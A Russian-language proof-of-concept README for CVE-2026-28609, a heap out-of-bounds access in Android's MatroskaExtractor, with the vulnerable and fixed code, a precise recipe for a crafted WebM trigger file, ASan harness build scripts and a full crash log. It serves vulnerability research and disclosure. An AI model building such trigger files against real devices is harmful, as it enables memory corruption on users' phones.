
Эксплойт-доказательство концепции и инструментированный стенд для воспроизведения CVE-2026-28609 — записи за пределами границ в MatroskaExtractor Android, достижимой через специально сформированный файл WebM с аудиодорожкой PCM с прямым порядком байтов.
Доказательство концепции, инструментированный стенд для воспроизведения и техническое
описание CVE-2026-28609 — записи за границами буфера в MatroskaExtractor в Android,
достижимой через специально сформированный файл WebM с аудиодорожкой PCM
в формате big-endian.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppMatroskaSource::read() в MatroskaExtractor для Android содержит
цикл байтового обмена для PCM big-endian, который приводит указатель на данные кадра
к типу uint16_t * до прибавления frame->range_offset() — смещения в байтах.
Поскольку арифметика указателей в C для типа uint16_t * масштабирует смещение на
sizeof(uint16_t) = 2, результирующий указатель оказывается на 2 * range_offset
байт от начала буфера, а не на range_offset байт.
Когда range_offset > 0, цикл читает и записывает один или несколько байт
за концом MediaBuffer кадра. На устройстве без ASan
чтение за границей проходит незаметно, а запись за границей повреждает байт,
непосредственно следующий за буфером.
Уязвимая строка:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
Исправление в upstream приводит указатель к uint8_t * до применения
смещения:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
Рабочий воспроизводимый триггер для CVE-2026-28609, проверенный под AddressSanitizer на реальном устройстве с Android 14. Репозиторий включает:
range_offset.dlopen,
вызывает GETEXTRACTORDEF и читает кадры из файла.Результат на уязвимом устройстве:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
Уязвимая ветка требует одновременного выполнения всех следующих условий:
| Условие | Источник |
|---|---|
Первые три выполняются объявлением дорожки с кодеком
A_PCM/INT/BIG и глубиной 16 бит. Четвёртое — самое интересное.
range_offset устанавливается в ненулевое значение только в
MatroskaSource::setWebmBlockCryptoInfo(), которая вызывается из
readBlock() при условии:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
Следовательно, файл-триггер должен удовлетворять условиям:
mIsWebm — элемент EBML DocType должен быть "webm", а не
"matroska".mEncrypted — дорожка должна объявлять ContentEncodings с
ContentEncodingType = 1 (Encryption) и ContentEncKeyID.0x1) равен 0, что указывает на то, что кадр
не зашифрован, но прошёл контентное кодирование. Это приводит к ветке else в
setWebmBlockCryptoInfo, которая вызывает set_range(1, len - 1).После отсечения range_offset = 1 для каждого кадра. Уязвимая
ветка затем вычисляет (uint16_t *)data + 1, что сдвигает указатель на 2 байта,
и цикл читает/записывает байты [2, 2 + range_length) — на один байт
за концом 65-байтового выделения (64-байтовый кадр + 1-байтовый
сигнал).
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
Сигнальный байт 0x00 отсекается через set_range(1, 64), оставляя
64-байтовый кадр внутри 65-байтового выделения. Уязвимая арифметика
указателей затем записывает по байтовому смещению со 2 по 65.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
Внешние зависимости, клонируемые пользователем перед сборкой:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make$ANDROID_NDK_HOMEadb в PATH (Linux или adb.exe из WSL)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
Если ваше дерево AOSP использует модульную раскладку экстракторов
(av/media/module/extractors/mkv/), дополнительных изменений не требуется.
Если используется старая раскладка (av/media/libstagefright/matroska/),
см. скрипты сборки для переменной MKV.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
Установите ANDROID_API в соответствии с целевым устройством (например, 34 для
Android 14).
./scripts/run.sh
Скрипт run.sh выполняет четыре шага по порядку:
build_foundation.sh — компилирует 28 исходных файлов из
av/media/module/foundation/ и av/media/module/metadatautils/
в plugin-asan/libstagefright_foundation_asan.a.build_plugin.sh — компилирует MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc и линкует их с архивом
в libmkvextractor_asan.so.build_harness.sh — компилирует harness_c_abi с -shared-libsan.poc.mkv в
/data/local/tmp и запускает стенд.Скрипты сборки автоматически обнаруживают отсутствующие корни заголовков. Когда
компилятор сообщает fatal error: 'X' file not found, скрипт
ищет в деревьях зависимостей, находит родительский каталог X и
добавляет его в include_dirs.conf. Именно поэтому include_dirs.conf
растёт во время первой сборки. Как только все заголовки найдены,
файл стабилизируется, и последующие сборки становятся детерминированными.
На уязвимом устройстве стенд выдаёт:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
Три числа подтверждают срабатывание:
WRITE of size 2 (или READ, когда ASan перехватывает читающую половину
data[i] = ntohs(data[i]) первой)65-byte region — выделение кадра составляет 64 байта данных плюс
1-байтовый сигнал шифрования0 bytes after — обращение попадает на первый байт за
выделениемsetWebmBlockCryptoInfo (сигнальный
байт 0x03), который этот генератор не задействует./data/local/tmp не
затрагивается. Плагин загружается только процессом стенда.Генератор включает верификатор. Запустите его перед копированием:
python3 exploit/generator.py poc.mkv
Ожидается:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
Проверяется каждое обязательное поле: DocType, TrackType, CodecID,
BitDepth, Channels, ContentEncodingType, ContentEncodingScope,
ContentEncAlgo и ContentEncKeyID. Если какое-либо поле неверно,
генератор завершается с FAIL и выводит конкретное несоответствие.
| Дата | Событие |
|---|---|
| 2026-03-02 | CVE зарезервирован Google |
| 2026-09-08 | Публичное раскрытие в Android Security Bulletin |
| 2026-09-09 | Исправление влито в LineageOS lineage-20.0 (изменение 497992) |
Этот репозиторий публикуется исключительно для защитных исследований безопасности и проверки уязвимостей. Он предназначен для:
Не используйте этот код на устройствах, которыми вы не владеете или на которые у вас нет явного письменного разрешения на тестирование. Запуск стенда на устройстве, которое вам не принадлежит, или использование генератора для создания файлов-триггеров для распространения может нарушать законы о неправомерном использовании компьютеров в вашей юрисдикции и Политику допустимого использования GitHub.
Автор не одобряет использование этого исследования в злонамеренных целях. Файл-триггер, создаваемый генератором, предназначен для падения конкретной функции под AddressSanitizer; он не содержит исполняемой полезной нагрузки, не модифицирует систему и не сохраняется после завершения процесса стенда.
Никаких гарантий не предоставляется. Код поставляется как есть. Автор не несёт ответственности за ущерб, вызванный неправильным использованием или запуском стенда на производственном оборудовании.
Если вы являетесь производителем и считаете, что этот репозиторий содержит материал, который следует обрабатывать в рамках скоординированного раскрытия, откройте issue, и автор ответит в течение 72 часов.
Этот проект выпущен под лицензией Apache-2.0. Полный текст см. в LICENSE.
Copyright © 2026 — участники PoC для CVE-2026-28609.
Переименуйте это в include_dirs.conf после клонирования. Это начальный набор. Скрипты сборки расширяют его во время первого запуска.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleПереименуйте в build.conf после клонирования.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| Дорожка — PCM |
mType == PCM |
| Big-endian | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16-битные сэмплы | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
У кадра ненулевой range_offset | Устанавливается через set_range(offset, ...) |
| 2026-09 | Этот PoC разработан и проверен на реальном устройстве |